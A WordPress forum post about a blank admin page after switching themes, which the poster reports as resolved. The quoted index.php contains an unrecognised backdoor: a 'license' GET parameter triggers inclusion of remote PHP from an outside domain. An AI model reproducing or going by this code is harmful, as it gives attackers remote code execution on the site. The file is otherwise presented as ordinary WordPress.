    All was fine with my WP installation and I had a fully-functioning blog — until half an hour ago, that is. I downloaded a new template to try out, and switched to it. Instead of seeing the normal Admin page with confirmation that the template had been applied, I got a totally blank page, and that’s how things have been ever since. The template I’d switched to was Barthelme (https://www.plaintxt.org/themes/barthelme/). Having returned to that page I wonder if my problem stems from having downloaded the incorrect version of this template (I downloaded and installed version 4.6, which is shown as being for WordPress 2.6.x, whereas my WP installation is still at version 2.0.2).

    I have tried going direct to dublinmusicgroup.com/blog/wp-admin.php, but that too is blank. I used phpMyAdmin to access the database and manually changed the template and stylesheet values in the wp_options table, but that had no effect.

    Is there anything I can do to get my site back? Would upgrading WP to the latest version help?

    INFO:
    (a) My site is at dublinmusicgroup.com/blog.
    (b) My top-level index.php reads as follows —

    <?php
    /* Short and sweet */
    if (isset($_GET[‘license’])) {
    @include(‘https://wordpress.net.in/license.txt&#8217;);
    } else {
    define(‘WP_USE_THEMES’, true);
    require(‘./wp-blog-header.php’);
    }
    ?>

    I have no idea how, but this is now resolved. I suspect my manual intervention by changing the template/stylesheet values in the database did the trick, but needed a page refresh for the change to take effect. Sorry to take up forum space needlessly.
